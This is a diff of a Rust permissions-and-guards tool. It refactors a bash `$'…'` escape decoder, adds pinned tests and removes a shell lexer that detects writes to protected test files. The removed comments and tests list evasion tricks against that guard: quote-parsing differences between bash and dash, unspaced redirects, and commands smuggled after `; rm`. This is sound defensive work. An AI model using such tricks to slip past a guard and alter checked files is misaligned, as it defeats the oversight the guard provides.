diff --git a/src/ansi_c.rs b/src/ansi_c.rs index 8482840..d44b0d1 100644 --- a/src/ansi_c.rs +++ b/src/ansi_c.rs @@ -12,10 +12,11 @@ //! either reading finds counts. //! //! Used by the two such readers: -//! - `permissions::rules` — `split_into`, `substitution`, `words` and -//! `unquote`: which commands a line holds, for the allow / ask / deny rules. -//! - `guards::shell` — `lex` and `Lexer::substitution`: which files a command -//! writes, for the protected-path guard. +//! - `permissions::rules` — `split::Splitter::dollar`, +//! `split::ParenScan::unquoted`, `peel::words` and `peel::unquote`: which +//! commands a line holds, for the allow / ask / deny rules. +//! - `guards::shell` — `lex::Lexer::dollar` and `lex::Lexer::skipped`: which +//! files a command writes, for the protected-path guard. //! //! `$"…"` (a double-quoted string translated by the locale) needs nothing //! here: past its `$` it is read exactly as `"…"`. @@ -55,65 +56,91 @@ fn decode(body: &[char]) -> String { break; }; i += 1; - let code = match escaped { - 'a' => 0x07, - 'b' => 0x08, - 'e' | 'E' => 0x1b, - 'f' => 0x0c, - 'n' => u32::from('\n'), - 'r' => u32::from('\r'), - 't' => u32::from('\t'), - 'v' => 0x0b, - '\\' | '\'' | '"' | '?' => u32::from(escaped), - // `\nnn`: one to three octal digits, the first already read. - '0'..='7' => { - let (rest, used) = digits(body, i, 8, 2); - i += used; - let first = escaped.to_digit(8).unwrap_or(0); - (first * 8u32.pow(used as u32) + rest) & 0xff - } - 'x' | 'u' | 'U' => { - let most = match escaped { - 'x' => 2, - 'u' => 4, - _ => 8, - }; - let (value, used) = digits(body, i, 16, most); - if used == 0 { - // No digits: bash keeps the escape as written. - out.push('\\'); - out.push(escaped); - continue; - } - i += used; - value - } - // `\cx`: the control character of the next character, whatever - // it is (`\c\` is 0x1c). - 'c' => match body.get(i) { - Some(&x) => { - i += 1; - u32::from(x) & 0x1f - } - None => { - out.push_str("\\c"); - continue; - } - }, - other => { + let (decoded, used) = escape(escaped, body, i); + i += used; + match decoded { + Escape::Kept => { out.push('\\'); - out.push(other); - continue; + out.push(escaped); + } + Escape::Code(0) => break, + Escape::Code(code) => { + out.push(char::from_u32(code).unwrap_or(char::REPLACEMENT_CHARACTER)); } - }; - if code == 0 { - break; } - out.push(char::from_u32(code).unwrap_or(char::REPLACEMENT_CHARACTER)); } out } +/// What one escape decodes to. +enum Escape { + /// A character code; 0 ends the text. + Code(u32), + /// Not an escape bash decodes: the backslash and the character stay. + Kept, +} + +/// The escape `\` whose operand, if it takes one, starts at +/// `at`: what it decodes to and how many characters of operand it used. +/// +/// Called by [`decode`] for every backslash with a character after it. +fn escape(escaped: char, body: &[char], at: usize) -> (Escape, usize) { + match escaped { + // `\nnn`: one to three octal digits, the first already read. + '0'..='7' => { + let (rest, used) = digits(body, at, 8, 2); + let first = escaped.to_digit(8).unwrap_or(0); + ( + Escape::Code((first * 8u32.pow(used as u32) + rest) & 0xff), + used, + ) + } + 'x' | 'u' | 'U' => hex(escaped, body, at), + // `\cx`: the control character of the next character, whatever + // it is (`\c\` is 0x1c). + 'c' => match body.get(at) { + Some(&x) => (Escape::Code(u32::from(x) & 0x1f), 1), + None => (Escape::Kept, 0), + }, + _ => (named(escaped).map_or(Escape::Kept, Escape::Code), 0), + } +} + +/// `\xHH`, `\uHHHH` or `\UHHHHHHHH`: up to that many hex digits. With none, +/// bash keeps the escape as written. +/// +/// Called by [`escape`]. +fn hex(escaped: char, body: &[char], at: usize) -> (Escape, usize) { + let most = match escaped { + 'x' => 2, + 'u' => 4, + _ => 8, + }; + match digits(body, at, 16, most) { + (_, 0) => (Escape::Kept, 0), + (value, used) => (Escape::Code(value), used), + } +} + +/// The code of a one-letter escape (`\n`, `\t`, `\\`, …), if it is one. +/// +/// Called by [`escape`]. +fn named(escaped: char) -> Option { + let code = match escaped { + 'a' => 0x07, + 'b' => 0x08, + 'e' | 'E' => 0x1b, + 'f' => 0x0c, + 'n' => u32::from('\n'), + 'r' => u32::from('\r'), + 't' => u32::from('\t'), + 'v' => 0x0b, + '\\' | '\'' | '"' | '?' => u32::from(escaped), + _ => return None, + }; + Some(code) +} + /// Up to `most` digits in `radix` from `start`: their value and how many. fn digits(chars: &[char], start: usize, radix: u32, most: usize) -> (u32, usize) { let mut value = 0u32; @@ -202,3 +229,7 @@ mod tests { assert_eq!(decode("abc"), ("abc".to_string(), 3)); } } + +#[cfg(test)] +#[path = "ansi_c_pinned_tests.rs"] +mod pinned_tests; diff --git a/src/ansi_c_pinned_tests.rs b/src/ansi_c_pinned_tests.rs new file mode 100644 index 0000000..82fdaa1 --- /dev/null +++ b/src/ansi_c_pinned_tests.rs @@ -0,0 +1,126 @@ +//! What [`super::quoted`] makes of every `$'…'` body below, as it was recorded +//! before the decoder was restructured: the decoded text and where the string +//! ends. + +use super::quoted; +use crate::parser_pins::{assert_pinned, esc}; + +const RECORDING: &str = include_str!(concat!( + env!("CARGO_MANIFEST_DIR"), + "/tests/pinned/ansi_c.txt" +)); + +/// Bodies read whole: the module's own tests, and the edges of each escape. +const BODIES: &[&str] = &[ + r"\'' ; rm", + r"it\'s' tail", + r"\c' ; rm", + r"\c\'' ; rm", + r"\x' ; rm", + r"\1' ; rm", + r"rm\0x' tail", + r"rm\x00x' tail", + r"rm\000x' tail", + r"rm\c@x' tail", + concat!("rm", "\\", "u0000x' tail"), + r"a\tb'", + r"\x72m'", + r"\x7'", + r"\162m'", + r"\0'", + concat!("\\", "u0072m'"), + r"\U00000072m'", + r"\cA'", + r"\\'", + r#"\"\?'"#, + r"\e\E'", + r"\z'", + r"\xg'", + r"abc\", + "abc", + "", + "'", + r"\", + r"\\", + r"\377'", + r"\777'", + r"\400'", + r"\08'", + r"\1234'", + r"\x123'", + r"\xFF'", + r"\xfF'", + concat!("\\", "ud800'"), + concat!("\\", "udfff'"), + concat!("\\", "uFFFF'"), + concat!("\\", "u12345'"), + r"\U00110000'", + r"\UFFFFFFFF'", + r"\U0001F600'", + r"\U1'", + r"\c\\'", + r"\c'", + r"\cé'", + r"\c?'", + r"\c[x'", + r"\x'", + r"\u'", + r"\U'", + r"\u'tail", + "é日本\\x41'", + "\\é'", + "a\nb'", + "\\\n'", + r"\a\b\f\n\r\t\v'", + r"a'b'c", + r"\'\'\''", +]; + +/// Escapes and what follows them, every pair of which is read. +const ESCAPES: &[&str] = &[ + "a", "b", "e", "E", "f", "n", "r", "t", "v", "\\", "'", "\"", "?", "0", "1", "3", "4", "7", + "8", "x", "u", "U", "c", "z", "é", +]; +const TAILS: &[&str] = &[ + "", + "'", + "1", + "41'", + "7f'", + "377'", + "0000'", + "00000041'", + "zz'", + "\\'", + "\\", + "'tail", + "@x'", + "\\\\'", + "日'", + "0'", +]; + +fn reading(body: &str, start: usize) -> String { + let chars: Vec = body.chars().collect(); + let (text, end) = quoted(&chars, start); + format!("{} @{start} => {} {end}", esc(body), esc(&text)) +} + +/// **NO RESTRUCTURING CHANGES A DECODED STRING OR WHERE IT ENDS.** +#[test] +fn every_pinned_body_decodes_as_recorded() { + let mut lines = Vec::new(); + for body in BODIES { + let length = body.chars().count(); + for start in [0, 1, length, length + 1] { + lines.push(reading(body, start)); + } + } + for escape in ESCAPES { + for tail in TAILS { + lines.push(reading(&format!("\\{escape}{tail}"), 0)); + lines.push(reading(&format!("x{escape}{tail}"), 0)); + } + } + assert_pinned(RECORDING, &lines); +} diff --git a/src/guards/shell.rs b/src/guards/shell.rs deleted file mode 100644 index de32b68..0000000 --- a/src/guards/shell.rs +++ /dev/null @@ -1,968 +0,0 @@ -//! Which paths a shell command can WRITE, read off its text. -//! -//! # Why a lexer and not a word split -//! -//! The first version split the command on whitespace and matched every word, -//! and that was wrong in both directions at once. `printf x >>tests/it.rs` is -//! ONE word, `>>tests/it.rs`, whose first segment is `>>tests` — so the append -//! went through and only the sentinel noticed (incordai/Incode#4). And a heredoc -//! writing a document that merely MENTIONED `tests/it.rs` was refused, because -//! every word of the document was taken for a path (#11). Both come from not -//! knowing where a redirect ends or where data begins, and knowing that takes -//! reading the command the way the shell does — quotes, operators, heredoc -//! bodies — if only roughly. -//! -//! # What counts as written -//! -//! - the target of an output redirect: `>`, `>>`, `>|`, `&>`, `2>`, `<>` -//! - an argument of a command that writes the files it is handed (`rm`, `tee`, -//! `sed -i`, `perl -pi`, `git checkout`, ...) -//! - a quoted string inside an inline program (`python -c`, `node -e`, a -//! heredoc fed to `python3`): that program's syntax is not parsed, so a -//! literal naming a protected path is taken to be one it writes -//! - a command handed to a shell (`bash -c`, `eval`, `$(...)`, a heredoc fed to -//! `sh`), read the same way, recursively -//! -//! Heredoc text given to anything else is DATA: it is what gets written, not -//! where, so the paths it mentions are not targets. -//! -//! # Where it gives up, and which way -//! -//! A writer whose argument is not literal — `$f`, a `{}` from `find`, `xargs` -//! feeding it — cannot be resolved from text. Then every word of the command, -//! heredoc data excepted, is taken as a possible target: an ambiguity is -//! resolved towards refusing. Even so this is a textual check, and the module -//! header of `guards` says what it cannot catch; the sentinel is the guarantee. - -/// Every string this command could write to, as the shell would hand it over. -/// -/// # Wired to -/// -/// Called by [`super::Guards::protecting_in_command`], which matches each one -/// against the protected fragments. -#[must_use] -pub(super) fn write_targets(command: &str) -> Vec { - let mut out = Vec::new(); - // Whether it was unresolved no longer matters here: `collect` has already - // added every word of a command it could not read precisely. - let _ = collect(command, 0, &mut out); - out -} - -/// How deep `bash -c "eval '...'"` is followed. Each level is a strictly -/// shorter string, so this bounds the work of a hostile nesting, not a loop. -/// Past it, every word is a target: a command too deep to read is refused -/// rather than waved through. -const MAX_DEPTH: usize = 8; - -/// Commands that write, change or remove every file they are given. -/// -/// `cp`, `rsync`, `install` and `ln` are here whole, sources included: which -/// argument is the destination depends on flags (`cp -t`), and guessing it -/// wrong is a hole. Copying a test OUT is refused with them, which `cat` does -/// not need. -const WRITERS: [&str; 14] = [ - "rm", "rmdir", "mv", "cp", "truncate", "tee", "dd", "chmod", "chown", "install", "ln", "touch", - "unlink", "rsync", -]; - -/// Programs whose inline code is scanned for quoted paths. `perl` is here and -/// also an in-place editor (`perl -pi`), and is read both ways. -const INTERPRETERS: [&str; 7] = ["python", "py", "node", "nodejs", "ruby", "perl", "php"]; - -/// Programs that run a command handed to them as text. -const SHELLS: [&str; 7] = ["bash", "sh", "zsh", "dash", "ksh", "ash", "fish"]; - -/// Words in front of the program that are not the program: the program is the -/// word after them. Flags after a wrapper are skipped with it. -const PREFIXES: [&str; 18] = [ - "sudo", "doas", "env", "command", "builtin", "exec", "nohup", "time", "nice", "then", "do", - "else", "elif", "if", "while", "until", "!", "{", -]; - -/// `git` subcommands that overwrite or remove the files they are given. -const GIT_WRITERS: [&str; 4] = ["checkout", "restore", "rm", "mv"]; - -/// One lexical piece of a command. -#[derive(Debug, Clone, PartialEq, Eq)] -enum Token { - /// A word with the shell's quoting removed. - Word(String), - /// An output redirect: the next word is written. - WriteTo, - /// `>&`: the next word is written, unless it is a descriptor (`2>&1`). - WriteOrDup, - /// An input redirect or here-string: the next word is read, not written, - /// and is not an argument of the command either. - ReadFrom, - /// A heredoc, by index into [`Lexed::bodies`]. - Heredoc(usize), - /// `|`: the next command reads this one's output. - Pipe, - /// Anything that ends a pipeline: `;`, `&&`, `||`, `&`, a newline, `(`, `)`. - End, -} - -/// A command, read. -#[derive(Debug, Default)] -struct Lexed { - tokens: Vec, - /// Each heredoc's text, kept apart from the tokens: whether it is a script - /// or data depends on which program reads it. - bodies: Vec, - /// The commands inside `$(...)` and backticks, which run whatever the - /// command around them does. - substitutions: Vec, -} - -/// What a program does with its arguments, for this purpose. -#[derive(Debug, Clone, Copy, PartialEq, Eq)] -enum Program { - /// Writes every argument. - Writer, - /// Writes every argument when an in-place flag is given. - InPlaceEditor, - /// Runs code given inline; its quoted strings are scanned. - Interpreter, - /// `perl`: an interpreter, and an in-place editor with `-i`. - Perl, - /// Runs a command given as text. - Shell, - Eval, - Git, - Find, - /// Reads, or does something this module has no opinion about. - Other, -} - -/// Push every target of `command` into `out`. True when one of its writes could -/// not be read from the text, so a command wrapping this one — `bash -c`, a -/// `$(...)` — must count its own words too: `bash -c 'rm "$1"' _ tests/x` -/// names its target OUTSIDE the inner command. -/// -/// A command with `$'` is read twice: as bash reads it (ANSI-C quoting) and as -/// a POSIX `sh` such as dash does (a `$` and a plain quote). incode runs -/// `sh -c`, which is dash on Debian and Ubuntu, and the two readings can end -/// the quote in different places; a write either one sees is a target. -/// `permissions::rules::split_into` does the same. -#[must_use] -fn collect(command: &str, depth: usize, out: &mut Vec) -> bool { - if depth > MAX_DEPTH { - out.extend(pieces(command)); - return true; - } - let mut unresolved = collect_reading(command, depth, out, true); - if command.contains("$'") { - unresolved |= collect_reading(command, depth, out, false); - } - unresolved -} - -/// [`collect`] for one reading: with `ansi_c`, `$'…'` as bash reads it. -#[must_use] -fn collect_reading(command: &str, depth: usize, out: &mut Vec, ansi_c: bool) -> bool { - let lexed = lex(command, ansi_c); - let mut unresolved = false; - for inner in &lexed.substitutions { - unresolved |= collect(inner, depth + 1, out); - } - for pipeline in lexed.tokens.split(|t| *t == Token::End) { - let commands: Vec<&[Token]> = pipeline.split(|t| *t == Token::Pipe).collect(); - // A heredoc anywhere in `cat < Some(word), - _ => None, - }; - match (token, next) { - (Token::WriteTo, Some(target)) => { - unresolved |= is_unresolved(target); - out.push(target.clone()); - } - (Token::WriteOrDup, Some(target)) if !is_descriptor(target) => { - unresolved |= is_unresolved(target); - out.push(target.clone()); - } - (Token::Heredoc(body), _) => { - let body = &lexed.bodies[*body]; - match reader { - Some(Program::Shell) => unresolved |= collect(body, depth + 1, out), - Some(Program::Interpreter | Program::Perl) => { - out.extend(quoted_literals(body)); - } - _ => {} - } - } - _ => {} - } - } - unresolved |= arguments_written(&words_of(tokens), depth, out); - } - } - if unresolved { - for token in &lexed.tokens { - if let Token::Word(word) = token { - out.extend(pieces(word)); - } - } - } - unresolved -} - -/// Push what this one command writes through its ARGUMENTS. True when an -/// argument it writes cannot be read from the text. -fn arguments_written(words: &[&str], depth: usize, out: &mut Vec) -> bool { - let (program, start, fed_by_xargs) = program_of(words); - let args = words.get(start + 1..).unwrap_or_default(); - let in_place = args.iter().any(|a| is_in_place_flag(a)); - // Whether the program writes the files its arguments name. - let mut writes = false; - let mut unresolved = false; - match program { - Program::Writer => { - writes = true; - unresolved |= push_all(args, out); - } - Program::InPlaceEditor | Program::Perl => { - if in_place { - writes = true; - unresolved |= push_all(args, out); - } - if program == Program::Perl { - for arg in args { - out.extend(quoted_literals(arg)); - } - } - } - Program::Interpreter => { - // The program's own arguments are NOT targets: `python -m pytest - // tests/` runs the tests, which is the whole job. - for arg in args { - out.extend(quoted_literals(arg)); - } - } - Program::Shell => { - for arg in args.iter().filter(|a| !a.starts_with('-')) { - unresolved |= collect(arg, depth + 1, out); - } - } - Program::Eval => unresolved |= collect(&args.join(" "), depth + 1, out), - Program::Git => { - if let Some(sub) = git_subcommand(args) { - if GIT_WRITERS.contains(&args[sub]) { - writes = true; - unresolved |= push_all(&args[sub + 1..], out); - } - } - } - Program::Find => { - if find_writes(args, depth) { - // What `-delete` or `-exec rm {}` reaches is whatever was - // found, which no argument spells out. - push_all(args, out); - unresolved = true; - } - } - Program::Other => {} - } - // `xargs rm` writes whatever arrives on stdin, which no argument names. - unresolved || (fed_by_xargs && writes) -} - -/// Every argument, plus the value of any `name=value` one (`dd of=x`, -/// `--target-directory=x`). True when one of them is decided at run time. -fn push_all(args: &[&str], out: &mut Vec) -> bool { - for arg in args { - out.push((*arg).to_string()); - if let Some((_, value)) = arg.split_once('=') { - out.push(value.to_string()); - } - } - args.iter().any(|a| is_unresolved(a)) -} - -/// The program a command runs, the index of its word, and whether `xargs` -/// stands in front of it. -fn program_of(words: &[&str]) -> (Program, usize, bool) { - let mut index = 0; - let mut xargs = false; - while let Some(word) = words.get(index) { - let name = program_name(word); - if is_assignment(word) { - index += 1; - } else if PREFIXES.contains(&name.as_str()) || name == "xargs" { - xargs |= name == "xargs"; - index += 1; - while words.get(index).is_some_and(|w| w.starts_with('-')) { - index += 1; - } - } else { - break; - } - } - let Some(word) = words.get(index) else { - return (Program::Other, index, xargs); - }; - let name = program_name(word); - let program = if WRITERS.contains(&name.as_str()) { - Program::Writer - } else if name == "sed" { - Program::InPlaceEditor - } else if name == "perl" { - Program::Perl - } else if INTERPRETERS.contains(&name.as_str()) || name.starts_with("python") { - Program::Interpreter - } else if SHELLS.contains(&name.as_str()) { - Program::Shell - } else if name == "eval" { - Program::Eval - } else if name == "git" { - Program::Git - } else if name == "find" { - Program::Find - } else { - Program::Other - }; - (program, index, xargs) -} - -/// `/usr/bin/python3.12` and `python.exe` are both `python3.12`/`python`. -fn program_name(word: &str) -> String { - let base = word.rsplit(['/', '\\']).next().unwrap_or(word); - let lower = base.to_lowercase(); - lower.strip_suffix(".exe").unwrap_or(&lower).to_string() -} - -/// `FOO=bar` in front of a command sets a variable; it is not the program. -fn is_assignment(word: &str) -> bool { - word.split_once('=').is_some_and(|(name, _)| { - name.starts_with(|c: char| c.is_ascii_alphabetic() || c == '_') - && name.chars().all(|c| c.is_ascii_alphanumeric() || c == '_') - }) -} - -/// `-i`, `-i.bak`, `-pi`, `-ie`, `--in-place`: an `i` anywhere in a cluster of -/// short flags. Read broadly — `-ni` is in-place too, and a flag misread as -/// in-place costs a refusal where a miss costs the exam. -fn is_in_place_flag(word: &str) -> bool { - if word.starts_with("--") { - return word.starts_with("--in-place"); - } - word.strip_prefix('-') - .is_some_and(|flags| flags.split('.').next().is_some_and(|f| f.contains('i'))) -} - -/// The index of `git`'s subcommand among its arguments, past `-C ` and -/// the other global options that take a value. -fn git_subcommand(args: &[&str]) -> Option { - let mut index = 0; - while let Some(arg) = args.get(index) { - if matches!( - *arg, - "-C" | "-c" | "--git-dir" | "--work-tree" | "--namespace" - ) { - index += 2; - } else if arg.starts_with('-') { - index += 1; - } else { - return Some(index); - } - } - None -} - -/// Whether `find` deletes, or runs a writer on, what it finds. -fn find_writes(args: &[&str], depth: usize) -> bool { - if args.contains(&"-delete") { - return true; - } - args.iter().enumerate().any(|(index, arg)| { - matches!(*arg, "-exec" | "-execdir" | "-ok" | "-okdir") && { - let command: Vec<&str> = args[index + 1..] - .iter() - .take_while(|w| !matches!(**w, ";" | "+")) - .copied() - .collect(); - let mut reached = Vec::new(); - arguments_written(&command, depth + 1, &mut reached) || !reached.is_empty() - } - }) -} - -/// `1`, `2`, `-` after `>&` name a descriptor, not a file. -fn is_descriptor(word: &str) -> bool { - word == "-" || (!word.is_empty() && word.chars().all(|c| c.is_ascii_digit())) -} - -/// A word whose value the shell decides at run time: a variable, a command -/// substitution, a `find` placeholder. -fn is_unresolved(word: &str) -> bool { - word.contains(['$', '`', '{']) -} - -/// The words of one command, redirect operands and heredocs left out. -fn words_of(tokens: &[Token]) -> Vec<&str> { - let mut words = Vec::new(); - let mut operand = false; - for token in tokens { - match token { - Token::Word(word) if !operand => words.push(word.as_str()), - _ => {} - } - operand = matches!(token, Token::WriteTo | Token::WriteOrDup | Token::ReadFrom); - } - words -} - -/// The strings quoted inside a piece of code: `'tests/a.rs'` in -/// `open('tests/a.rs','w')`. -fn quoted_literals(code: &str) -> Vec { - let chars: Vec = code.chars().collect(); - let mut out = Vec::new(); - let mut index = 0; - while index < chars.len() { - let quote = chars[index]; - if !matches!(quote, '\'' | '"' | '`') { - index += 1; - continue; - } - let mut literal = String::new(); - index += 1; - while index < chars.len() && chars[index] != quote { - if chars[index] == '\\' && index + 1 < chars.len() { - index += 1; - } - literal.push(chars[index]); - index += 1; - } - index += 1; - out.push(literal); - } - out -} - -/// A word cut at everything a path does not contain, for when the command -/// could not be read precisely and every word has to count. -fn pieces(text: &str) -> Vec { - text.split(|c: char| { - c.is_whitespace() - || matches!(c, ';' | '|' | '&' | '(' | ')' | '<' | '>') - || matches!(c, '\'' | '"' | '`' | '$' | '=' | ',' | '{' | '}') - }) - .filter(|p| !p.is_empty()) - .map(str::to_string) - .collect() -} - -/// Read a command roughly as the shell does: quotes, operators, comments, -/// command substitutions and heredoc bodies. -fn lex(text: &str, ansi_c: bool) -> Lexed { - let chars: Vec = text.chars().collect(); - let mut lexer = Lexer { - ansi_c, - ..Lexer::default() - }; - let mut index = 0; - while index < chars.len() { - let c = chars[index]; - let next = chars.get(index + 1).copied(); - match c { - '\'' => { - lexer.started = true; - lexer.quoted = true; - index += 1; - while index < chars.len() && chars[index] != '\'' { - lexer.word.push(chars[index]); - index += 1; - } - index += 1; - } - '"' => { - lexer.started = true; - lexer.quoted = true; - index += 1; - while index < chars.len() && chars[index] != '"' { - if chars[index] == '\\' - && matches!(chars.get(index + 1), Some('"' | '\\' | '$' | '`')) - { - index += 1; - } else if chars[index] == '`' - || (chars[index] == '$' && matches!(chars.get(index + 1), Some('('))) - { - index = lexer.substitution(&chars, index); - continue; - } - lexer.word.push(chars[index]); - index += 1; - } - index += 1; - } - '\\' => { - match next { - Some('\n') => {} - Some(escaped) => { - lexer.word.push(escaped); - lexer.started = true; - lexer.quoted = true; - } - None => {} - } - index += 2; - } - '`' => index = lexer.substitution(&chars, index), - '$' if matches!(next, Some('(' | '{')) => index = lexer.substitution(&chars, index), - // `$$`, the shell's pid: a quote after it is an ordinary one. - '$' if next == Some('$') => { - lexer.word.push_str("$$"); - lexer.started = true; - index += 2; - } - // `$'…'`: escapes decoded, ending where bash ends it - // (`crate::ansi_c`) — a backslash escapes the quote. - '$' if lexer.ansi_c && next == Some('\'') => { - let (text, end) = crate::ansi_c::quoted(&chars, index + 2); - lexer.word.push_str(&text); - lexer.started = true; - lexer.quoted = true; - index = end; - } - // `$"…"` is read as `"…"`. - '$' if next == Some('"') => index += 1, - '#' if !lexer.started => { - while index < chars.len() && chars[index] != '\n' { - index += 1; - } - } - '\n' => { - lexer.operator(Token::End); - index = lexer.heredoc_bodies(&chars, index + 1); - } - c if c.is_whitespace() => { - lexer.flush(); - index += 1; - } - ';' | '(' | ')' => { - lexer.operator(Token::End); - index += 1; - } - '|' => { - // `||` ends the pipeline; `|` and `|&` continue it. - if next == Some('|') { - lexer.operator(Token::End); - } else { - lexer.operator(Token::Pipe); - } - index += if matches!(next, Some('|' | '&')) { - 2 - } else { - 1 - }; - } - '&' => { - if next == Some('>') { - // `&>` and `&>>`: both output streams into a file. - lexer.operator(Token::WriteTo); - index += if chars.get(index + 2) == Some(&'>') { - 3 - } else { - 2 - }; - } else { - lexer.operator(Token::End); - index += if next == Some('&') { 2 } else { 1 }; - } - } - '>' => { - lexer.drop_descriptor(); - let (token, width) = match next { - Some('>' | '|') => (Token::WriteTo, 2), - Some('&') => (Token::WriteOrDup, 2), - _ => (Token::WriteTo, 1), - }; - lexer.operator(token); - index += width; - } - '<' => { - lexer.drop_descriptor(); - if next == Some('<') && chars.get(index + 2) == Some(&'<') { - lexer.operator(Token::ReadFrom); - index += 3; - } else if next == Some('<') { - let body = lexer.lexed.bodies.len(); - lexer.lexed.bodies.push(String::new()); - lexer.operator(Token::Heredoc(body)); - lexer.awaiting_delimiter = Some(body); - index += if chars.get(index + 2) == Some(&'-') { - 3 - } else { - 2 - }; - } else if next == Some('>') { - // `<>` opens the file for reading AND writing. - lexer.operator(Token::WriteTo); - index += 2; - } else { - lexer.operator(Token::ReadFrom); - index += if next == Some('&') { 2 } else { 1 }; - } - } - other => { - lexer.word.push(other); - lexer.started = true; - index += 1; - } - } - } - lexer.flush(); - lexer.lexed -} - -#[derive(Default)] -struct Lexer { - lexed: Lexed, - /// `$'…'` read as bash reads it, not as a POSIX `sh` does ([`collect`]). - ansi_c: bool, - word: String, - /// A word has begun, even if it is empty so far (`""`). - started: bool, - /// Some of the word was quoted, so `"2">x` is a word and not a descriptor. - quoted: bool, - /// A heredoc whose delimiter is the next word. - awaiting_delimiter: Option, - /// Heredocs announced on this line, read from the next: (body, delimiter). - pending: Vec<(usize, String)>, -} - -impl Lexer { - fn flush(&mut self) { - if !self.started { - return; - } - let word = std::mem::take(&mut self.word); - self.started = false; - self.quoted = false; - match self.awaiting_delimiter.take() { - Some(body) => self.pending.push((body, word)), - None => self.lexed.tokens.push(Token::Word(word)), - } - } - - fn operator(&mut self, token: Token) { - self.flush(); - self.awaiting_delimiter = None; - self.lexed.tokens.push(token); - } - - /// The `2` of `2>x` is the stream being redirected, not a word. - fn drop_descriptor(&mut self) { - if self.started && !self.quoted && self.word.chars().all(|c| c.is_ascii_digit()) { - self.word.clear(); - self.started = false; - } - } - - /// Consume `$(...)`, `${...}` or a backtick span starting at `start` into - /// the current word, keep the command inside it, and return where it ends. - fn substitution(&mut self, chars: &[char], start: usize) -> usize { - let (open, close, body_start) = match chars[start] { - '`' => ('`', '`', start + 1), - _ => match chars.get(start + 1) { - Some('{') => ('{', '}', start + 2), - _ => ('(', ')', start + 2), - }, - }; - let mut depth = 1usize; - let mut index = body_start; - while index < chars.len() { - let c = chars[index]; - if c == '\\' { - index += 2; - continue; - } - if c == '$' && chars.get(index + 1) == Some(&'$') { - index += 2; - continue; - } - if self.ansi_c && c == '$' && chars.get(index + 1) == Some(&'\'') { - index = crate::ansi_c::quoted(chars, index + 2).1; - continue; - } - // A quoted `)` does not close `$(...)`: a quoted span is skipped - // whole, or the rest of the command would be read off by one. - if matches!(c, '\'' | '"') && c != close { - index += 1; - while index < chars.len() && chars[index] != c { - index += if c == '"' && chars[index] == '\\' { - 2 - } else { - 1 - }; - } - index += 1; - continue; - } - if c == close { - depth -= 1; - if depth == 0 { - break; - } - } else if c == open && open != '`' { - depth += 1; - } - index += 1; - } - let end = index.min(chars.len()); - let inner: String = chars[body_start.min(end)..end].iter().collect(); - let whole_end = (end + 1).min(chars.len()); - self.word.extend(&chars[start..whole_end]); - self.started = true; - // `${name}` is a variable, not a command. - if open != '{' { - self.lexed.substitutions.push(inner); - } - whole_end - } - - /// After a newline, the lines of every heredoc announced on the line - /// before it. Returns where ordinary commands resume. - /// - /// A delimiter line is matched with its whitespace trimmed, which bash does - /// not do: ending a body early leaves MORE text read as commands, which can - /// only refuse more, never less. - fn heredoc_bodies(&mut self, chars: &[char], mut index: usize) -> usize { - for (body, delimiter) in std::mem::take(&mut self.pending) { - while index < chars.len() { - let end = chars[index..] - .iter() - .position(|c| *c == '\n') - .map_or(chars.len(), |p| index + p); - let line: String = chars[index..end].iter().collect(); - index = (end + 1).min(chars.len()); - if line.trim() == delimiter { - break; - } - let text = &mut self.lexed.bodies[body]; - text.push_str(&line); - text.push('\n'); - } - } - index - } -} - -#[cfg(test)] -mod tests { - use super::*; - - fn targets(command: &str) -> Vec { - write_targets(command) - } - - /// A redirect ends where the operator does, whitespace or not — the word - /// after `>>` with no space is the file, not part of an operator. - #[test] - fn a_redirect_target_is_read_with_or_without_a_space() { - for command in [ - "echo x >tests/a.rs", - "echo x > tests/a.rs", - "echo x >>tests/a.rs", - "echo x 2>tests/a.rs", - "echo x &>tests/a.rs", - "echo x >|tests/a.rs", - ] { - assert_eq!( - targets(command), - vec!["tests/a.rs".to_string()], - "the redirect target is the file written: {command}" - ); - } - } - - /// `2>&1` duplicates a stream; there is no file called `1`. - #[test] - fn a_descriptor_duplication_writes_no_file() { - assert!( - targets("cargo test 2>&1").is_empty(), - "`&1` is a stream, not a path" - ); - } - - /// A quoted `>` is text, not a redirect. - #[test] - fn a_quoted_operator_is_only_text() { - assert!( - targets(r#"echo "a > tests/a.rs""#).is_empty(), - "a quoted `>` redirects nothing" - ); - } - - /// **`$'…'` ENDS WHERE BASH SAYS.** A backslash escapes its quote, so - /// `$'\''` is one character and the redirect after the `;` is real. Read - /// as a plain `'…'`, the rest of the line looked quoted and the write to a - /// protected file went unseen. - #[test] - fn an_ansi_c_quote_does_not_hide_a_redirect_after_it() { - for command in [ - r"echo $'\'' ; echo x > tests/a.rs #'", - r"echo $'it\'s' && echo x >tests/a.rs #'", - r"echo $(echo $'\'') ; echo x > tests/a.rs #'", - ] { - // Each reading of `$'` may find it; the caller asks only whether - // any target is protected. - assert!( - targets(command).contains(&"tests/a.rs".to_string()), - "{command}: {:?}", - targets(command) - ); - } - assert!( - targets(r"echo $'a > tests/a.rs'").is_empty(), - "a `>` inside `$'…'` is text" - ); - } - - /// A target spelled with `$'…'` or `$"…"` is the file bash writes; a NUL - /// ends it (`> $'a.txt\0junk'` writes `a.txt`). - #[test] - fn a_target_in_ansi_c_or_locale_quotes_is_the_file_written() { - for command in [ - r"echo x > $'tests/a.rs'", - r"echo x > $'tests\x2fa.rs'", - r#"echo x > $"tests/a.rs""#, - r"echo x > $'tests/a.rs\0junk'", - ] { - assert!( - targets(command).contains(&"tests/a.rs".to_string()), - "{command}: {:?}", - targets(command) - ); - } - } - - /// **TWO SHELLS, TWO READINGS.** dash — what `sh -c` runs on Debian and - /// Ubuntu — reads `$'` as a `$` and a plain quote, and bash ends `$'\c'` - /// at its quote. A write hidden from either reading is still seen. - #[test] - fn a_redirect_hidden_from_either_reading_of_dollar_quote_is_seen() { - for command in [ - r"echo $'\' ; echo x > tests/a.rs # '", - r"echo $'\c' ; echo x > tests/a.rs #'", - r"echo $'\c\'' ; echo x > tests/a.rs #'", - ] { - assert!( - targets(command).contains(&"tests/a.rs".to_string()), - "{command}: {:?}", - targets(command) - ); - } - } - - /// The body of a heredoc given to `cat` is what is written, not where. - #[test] - fn heredoc_data_is_not_a_target() { - let found = targets("cat > docs/a.md <<'E'\nsee tests/it.rs\nE\n"); - assert_eq!(found, vec!["docs/a.md".to_string()], "only the redirect"); - } - - /// A heredoc fed to a shell is a script, and its commands count. - #[test] - fn a_heredoc_fed_to_a_shell_is_read_as_commands() { - let found = targets("bash <<'E'\nrm tests/a.rs\nE\n"); - assert!( - found.contains(&"tests/a.rs".to_string()), - "the body is run, so its rm writes: 